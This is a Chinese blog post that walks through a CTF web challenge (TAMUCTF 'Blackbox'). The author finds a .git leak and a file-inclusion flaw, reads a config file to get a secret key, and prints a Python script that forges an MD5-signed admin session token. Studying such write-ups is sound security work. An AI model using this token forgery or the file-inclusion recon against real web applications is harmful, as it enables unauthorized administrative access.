首页 > 其他分享 >记一道国际赛CTF web题

记一道国际赛CTF web题

时间:2023-05-04 19:55:16浏览次数:41  
标签:web hash key SECRET token 一道 CTF KEY data

这是一篇关于打d3ctf坐牢,无奈去打国际赛的题解。

TAMUCTF [Blackbox]

首先打开页面,然后发现一个登陆框

 刚开始最先想到就是弱口令登陆,尝试几个后发现登陆不进去。

之后我就换了一个思路,就是扫一下,看看能不能有什么东西被扫出来,结果还真扫出来点东西,一个flag.txt,一个flag.php,还有就是.git泄露。

 

 先访问falg.txt结果被老外嘲笑一番,页面返回hahaha loser,没办法脱下代码进行代码审计吧。

审计之后发现存在文件包含,于是乎想起之前的falg.php,于是顺利成章的读取flag.php,但是哪有那么顺利,flag.php返回了一个youtobe的一个网址,靠,白高兴了。

没有办法,只有进行登陆了,看登陆后会不会有flag。

于是又走上了一条代码审计的不归路。

function verify_token(string $token) { 
  $token_data = explode('.', $token);
  if(hash('md5', SECRET_KEY . $token_data[0]) == $token_data[1]) {
    return true;
  }
  return false;
}               //这里是传入一个字符串,然后出现.号后分成俩部分,MD5哈希算法对SECRET_KEY和token_data[0]的组合字符串进行哈希处理,并将哈希结果与token_data[1]进行比较。如果两个值相同,则返回true,否则返回false。



function is_admin(string $token) { if(verify_token($token)) { $db = new SQLite3(DB_FILE); $data = json_decode(base64_decode(explode('.', $token)[0]), TRUE); $username = $data['username']; $user_key = $data['user_key']; $admin = $data['admin']; $statement = $db->prepare('SELECT * FROM users WHERE username=:uname AND key=:ukey;'); $statement->bindValue(':uname', $username); $statement->bindValue(':ukey', $user_key); $result = $statement->execute();//这里进行了一个查找数据库,如果转成JSON格式后的username与数据库中users表的username一样,并且user_key与key一样就可以进行登陆。 if($result != false && $result->fetchArray() != false && $admin == true) { return true; } return false; } }

 

 

 这里就这俩个方法比较重要,这俩个方法进行身份验证。

然后我们就可以下手了。

function verify_token(string $token) { 
  $token_data = explode('.', $token);
  if(hash('md5', SECRET_KEY . $token_data[0]) == $token_data[1]) {
    return true;
  }
  return false;
}

这里我们首先获得SECRET_KEY,这个SECRET_KEY,翻遍了所有文件都没有找到,但是在.gitignore文件下面找到了config.php,所以我们使用文件包含读取config.php,果不其然·,我们找到了SECRET_KEY

 然后我们写一个脚本获取我们需要的字符串。

import hashlib
import json
import base64

# 定义 SECRET_KEY 和 Token 数据
SECRET_KEY = 'JYOFGX6w5ylmYXyHuMM2Rm7neHXLrBd2V0f5No3NlP8'
token_data = {
    "username": "admin",
    "user_key": "26ceb685f46e6d22",
    "admin": True
}

# 编码 Token 数据,生成 Token 字符串
encoded_token_data = base64.b64encode(json.dumps(token_data).encode()).decode()
hash_str = SECRET_KEY + encoded_token_data
hash_obj = hashlib.md5(hash_str.encode())
hash_result = hash_obj.hexdigest()
token_str = "{0}.{1}".format(encoded_token_data, hash_result)

# 验证 Token 字符串是否有效
token_parts = token_str.split('.')
if len(token_parts) != 2:
    print("Token 字符串不合法")
else:
    decoded_token_data = json.loads(base64.b64decode(token_parts[0]).decode())
    if ('username' in decoded_token_data and 'user_key' in decoded_token_data and 'admin' in decoded_token_data
        and decoded_token_data['username'] == 'admin' and decoded_token_data['user_key'] == '26ceb685f46e6d22'
        and decoded_token_data['admin'] is True):
        str_to_hash = SECRET_KEY + token_parts[0]
        hash_obj = hashlib.md5(str_to_hash.encode())
        hash_result = hash_obj.hexdigest()
        if hash_result == token_parts[1]:
            print("Token 字符串有效:", token_str)
        else:
            print("Token 字符串无效")
    else:
        print("Token 字符串无效")

 

构造cookie之后就能获得flag。

 

标签:web,hash,key,SECRET,token,一道,CTF,KEY,data
From: https://www.cnblogs.com/kode00/p/17365142.html

相关文章

  • WebSocket协议:5分钟从入门到精通
    一、内容概览WebSocket的出现,使得浏览器具备了实时双向通信的能力。本文由浅入深,介绍了WebSocket如何建立连接、交换数据的细节,以及数据帧的格式。此外,还简要介绍了针对WebSocket的安全攻击,以及协议是如何抵御类似攻击的。二、什么是WebSocketHTML5开始提供的一种浏览器与服务......
  • websocket
    WebSocket详解目录1、什么是Socket?什么是WebSocket?2、WebSocket的通信原理和机制3、WebSocket技术出现之前,Web端实现即时通讯的方法有哪些?1、定期轮询的方式2、SSE(Server-SentEvent,服务端推送事件)3、Comet技术4、小结4、一个简单的WebSocket聊天小例子1客户端代码clie......
  • 2-web-UI-页面元素的识别
    1、元素识别元素的定位和操作是自动化测试的核心部分,其中操作又是建立在定位的基础上的,web对象识别的元素一定要是唯一的,通过【唯一】区别于其它元素的属性来定位这个元素。元素识别:1、利用Chrome浏览器开发者工具:1)打开Chrome浏览器,按F12或依次点击菜单—更多......
  • 19 17 | Web 应用防火墙:怎样拦截恶意用户的非法请求?
    你好,我是李智慧。Web应用防火墙(WebApplicationFirewall,WAF)通过对HTTP(S)请求进行检测,识别并阻断SQL注入、跨站脚本攻击、跨站请求伪造等攻击,保护Web服务安全稳定。Web安全是所有互联网应用必须具备的功能,没有安全防护的应用犹如怀揣珠宝的儿童独自行走在盗贼环伺的黑夜里。我......
  • 本地图文直接复制到eWebEditor编辑器中
    ​如何做到ueditor批量上传word图片?1、前端引用代码<!DOCTYPE html PUBLIC "-//W3C//DTDXHTML1.0Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>......
  • 即时通讯技术文集(第14期):WebSocket精华文章合集 [共15篇]
    为了更好地分类阅读52im.net总计1000多篇精编文章,我将在每周三推送新的一期技术文集,本次是第14 期。[- 1 -] 新手快速入门:WebSocket简明教程[链接] http://www.52im.net/thread-831-1-1.html[摘要] 通俗的讲,WebSocket是一种新的网络通信协议,现在浏览器端很多高级功能......
  • web导出excel文件并下载
    通常在项目中我们需要对一些数据进行查询,如果有分析需求可能会需要导出成excel方便整理,下面的代码我们使用springboot框架,结合easyexcel2.2.6完成主要部分代码。1.后台生成excel文件流@RequestMapping(value="/api/export",produces=MediaType.APPLICATION_OCTET_STREAM_VALUE)......
  • odoo Web Controllers 学习总结
    环境odoo-14.0.post20221212.tarWebControllersControllers控制器需要提供可扩展性,就像Model,但不能使用相同的机制,因为先决条件(已加载模块的数据库)可能还不可用(例如,未创建数据库或未选择数据库)。因此,控制器提供了自己的与模型的扩展机制:通过继承Controller创建控制器。通过route(......
  • Web组态可视化软件之BY组态可视化平台介绍
    Web组态可视化软件之BY组态可视化平台介绍关于组态软件,首先要从组态的概念开始说起。 什么是组态组态(Configure)的概念来自于20世纪70年代中期出现的第一代集散控制系统(DistributedControlSystem),可以理解为“配置”、“设定”、“设置”等,是指通过人机开发界面,用类似“搭积木......
  • Web组态可视化软件之BY组态可视化平台介绍
    关于组态软件,首先要从组态的概念开始说起。什么是组态组态(Configure)的概念来自于20世纪70年代中期出现的第一代集散控制系统(DistributedControlSystem),可以理解为“配置”、“设定”、“设置”等,是指通过人机开发界面,用类似“搭积木”的简单方式来搭建软件功能,而不需要编写计算机......